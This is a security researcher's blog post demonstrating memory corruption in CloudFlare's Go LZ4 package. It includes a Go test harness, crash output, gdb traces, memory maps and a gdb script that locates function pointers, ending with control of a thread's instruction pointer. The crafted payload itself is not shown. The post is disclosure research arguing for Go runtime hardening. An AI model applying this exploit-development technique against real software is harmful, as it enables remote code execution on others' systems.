Friday, July 11, 2014

Bla Bla LZ4, Bla Bla GoLang Or Whatever

I Was Coerced 

A lot of people don't know this, but I've known Jaime Cochran for almost fifteen years. We've been friends as long as I've been on the Internet. So, when she jabbed me earlier tonight saying "Hey, why the hell haven't you looked at GoLang yet?", my first reaction was obviously "Kiss off". My second reaction was "fine, I guess I should at least search around". 

As it turns out, CloudFlare (who I actually like quite a bit), has a vulnerable GoLang package on github that has been fairly popular. Last night I poked around a bit and got silly with the Go Stuffs. The result was the following source file:

package main

import (

func main() {
        input, err := ioutil.ReadFile("/home/x/lz4/go.lz4")
        if err != nil {
                fmt.Printf("failed: %#v\n", err)

        output := make([]byte, (17 * 1024 * 1024))
        err = lz4.Uncompress(input, output)
        if err != nil {
                fmt.Printf("failed: %#v\n", err)

Using this little beauty with CloudFlare's package resulted in the following Fun Times (TM). Note that I'm not even changing the contents of the payload, I'm only adjusting the offset a bit. More details on this later. 

donb@debian:~$ ./donblz4
fatal error: unexpected signal during runtime execution
[signal 0xb code=0x2 addr=0x2 pc=0x804bf11]

runtime stack:
runtime: unexpected return pc for runtime.sigpanic called from 0x804bf11
        /home/x/lib/src/go/go/src/pkg/runtime/panic.c:520 +0x71
runtime: unexpected return pc for runtime.sigpanic called from 0x804bf11
        /home/x/lib/src/go/go/src/pkg/runtime/os_linux.c:222 +0x46
... and so on ...

Well because I have had just about enough of this LZ4 hacking crap, I was ready to call it a night. But, Ben Nagy (who I once got drunk with in Singapore, surprise, surprise) asked me to investigate a bit further. Why? He's interested in using this as an example to push for GoLang run-time hardening. I'm Pro-Ben (I honestly haven't given much thought to run-time hardening in Go ;-)) so I figured I'd help out. 

I really have no idea whether people will care or listen to these details, or whether they'll even help with run-time hardening. But, what the heck, right? Let's try and Do Some Good, anyway. 

Quick and Dirty

So the point of this is not necessarily to gain RCE, but to prove that RCE is possible. This is because libraries like CloudFlare's LZ4 package, like the other tests I've been performing against LZ4, are out of application context. Because of GoLang's memory layout, I cannot (in this short amount of time) develop a guaranteed one-shot RCE like I can for Erlang and Python. 

But, attacking GoLang is much more profitable than Ruby. With Ruby, you never know where your memory chunk will end up in RAM and you never know whether there is a valid page prior to that chunk. In GoLang, things are much, much simpler. 

(gdb) where
#0  LZ4_decompress_fast (source=0x18336000 "\017", dest=0x19348000 "", outputSize=17825792)
    at /home/donb/go/src/golz4/src/lz4.c:823
#1  0x0804c212 in LZ4_uncompress (outputSize=, dest=,
    source=) at /home/donb/go/src/golz4/src/lz4.h:193
#2  _cgo_e56f7980f8b8_Cfunc_LZ4_uncompress (v=0xb7d3eea4) at /home/donb/go/src/golz4/lz4.go:50
#3  0x08072125 in runtime.asmcgocall () at /home/donb/lib/src/go/go/src/pkg/runtime/asm_386.s:624
#4  0xb7d3eea4 in ?? ()

After loading up 'donblz4' and breaking at LZ4_decompress_fast, the function called by the GoLang bindings, we see the above call trace. All we really need to look at is the variable dest, which identifies the address at which the decompression payload will be stored. This is the address from which memory corruption will occur. So, the most likely memory segment to corrupt will be the one this address resides in. 

Unlike Ruby, which uses Linux's standard glibc heap for new memory buffers/Objects, GoLang uses a completely separate memory segment. It creates a memory map that is Read and Write only. We can easily spot this by checking the process's memory mapping. 

(gdb) info inferiors
  Num  Description       Executable
* 1    process 8291      /home/donb/donblz4
(gdb) ^Z
[2]+  Stopped                 gdb -q donblz4
donb@debian:~$ cat /proc/8291/maps
08048000-0815f000 r-xp 00000000 fd:00 122015     /home/donb/donblz4
0815f000-0816f000 rw-p 00116000 fd:00 122015     /home/donb/donblz4
0816f000-081a4000 rw-p 00000000 00:00 0          [heap]
08200000-08205000 rw-p 00000000 00:00 0
08205000-17ec0000 ---p 00000000 00:00 0
17ec0000-1a500000 rw-p 00000000 00:00 0
1a500000-38302000 ---p 00000000 00:00 0

Obviously, the address at which dest points does not fall within the standard heap. As suggested above, there is an entirely separate memory chunk. What's great about this chunk is it isn't just allocated for our large LZ4 decompression payload. And, even if it were, it isn't the only type of data that lives there. 

Scanning around that chunk of memory we can easily determine whether function addresses reside here, and whether they will sit at predictable offsets in RAM. 

I generated a simple gdb script to identify addresses within memory that fit with the 'donblz4' executable regions

define scanlz4

        set $x = ($arg0)
        set $y = ($arg1)
        set $x_start = ($arg2)
        set $x_end = ($arg3)

        while $x < $y
                if *(unsigned int * )$x >= $x_start && *(unsigned int * )$x < $x_end
                        printf "%.08x: found value %.08x \n", $x, *$x
                set $x += 4


Using the above script, even for our tiny do-nothing test executable, revealed over 50 results within the same chunk of memory as our dest buffer. 

(gdb) scanlz4 0x183000e0 0x1a500000 0x08048000 0x0815f000
183000ec: found value 0807353a 
18300124: found value 080fa3b8 
18300144: found value 080fa3d8 
18300164: found value 080fa398 
18300184: found value 080fe278 
183020b8: found value 08072109 
183020d4: found value 08050a7a 
18302130: found value 08070be2 
18302298: found value 08051474 
183022b4: found value 08051474 
18302310: found value 0805cc20 
18302338: found value 0805f204 
183023b0: found value 08055ee0 
183023d8: found value 0805f204 
18302450: found value 08055ee0 
183026f8: found value 0805f4b0 
18302714: found value 0805f4b0 
18304004: found value 080f2880 
18304064: found value 080ecc81 

We can easily see that these addresses point to actual function addresses by inspecting the symbol at each offset. 

(gdb) x/8i 0x0807353a
   0x807353a :   pop    %ecx
   0x807353b :   pop    %ecx
   0x807353c :   test   %eax,%eax
   0x807353e :   jne    0x80735de
   0x8073544 :   mov    0x2c(%esp),%ebx
   0x8073548 :   mov    %ebx,(%esp)
   0x807354b :   mov    0x6c(%esp),%ebx
   0x807354f :   mov    %ebx,0x4(%esp)

So now that we know where a bunch of function addresses are, we can really just adjust the LZ4 payload I've been using in all of my blog posts to spam 0x11223344 at a chunk of memory that has a high concentration of known function pointers. 

Doing so demonstrates that these function pointers can be corrupted in a reliable fashion. What I end up controlling, however, are separate threads than the main one that LZ4 is executing within. In fact, the entire LZ4 payload hasn't even finished writing by the time the memory corruption triggers a SIGSEGV in another thread. 

(gdb) c

Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0xb743bb70 (LWP 8295)]
0x11223344 in ?? ()
(gdb) info threads
  Id   Target Id         Frame
  4    Thread 0xb6c3ab70 (LWP 8296) "donblz4" 0x0804c00d in LZ4_decompress_generic (targetOutputSize=0,
    partialDecoding=0, prefix64k=1, endOnInput=0, outputSize=17825792, inputSize=0, dest=0x19348000 "",
    source=0x18336000 "\017") at /home/donb/go/src/golz4/src/lz4.c:759
* 3    Thread 0xb743bb70 (LWP 8295) "donblz4" 0x11223344 in ?? ()
  2    Thread 0xb7d3cb70 (LWP 8294) "donblz4" _fallback_vdso ()
    at /home/donb/lib/src/go/go/src/pkg/runtime/rt0_linux_386.s:21
  1    Thread 0xb7e4d6d0 (LWP 8291) "donblz4" _fallback_vdso ()
    at /home/donb/lib/src/go/go/src/pkg/runtime/rt0_linux_386.s:21

So, there we have it. Because the dest buffer resides in the same memory chunk as function pointers, and there are no guard pages to hinder memory corruption, I have the ability to overwrite objects in memory that affect other threads. 

All in all, this is pretty Good Times. I'm glad Jaime and Ben pushed me to bother with this because otherwise I would have just closed out with Erlang. Three remote RCE capable languages with LZ4 is pretty sick, though, and was deserving of my time. 


So now we know that RCE can be achieved in GoLang. However, there are caveats
  • Unlike Erlang and Python, memory layout isn't guaranteed
  • The entire "compressed" LZ4 payload may proceed anything important (must jump over)
  • This means that (for now) there is no universal one-shot exploit for GoLang via LZ4
  • A Function-Spray doesn't necessarily cause a SIGSEGV before the pointer is executed
  • This is sufficient evidence for improvement (hardening) of the GoLang runtime
  • CloudFlare, please update your LZ4 repo
Don A. Bailey
Founder / CEO
Lab Mouse Security

No comments:

Post a Comment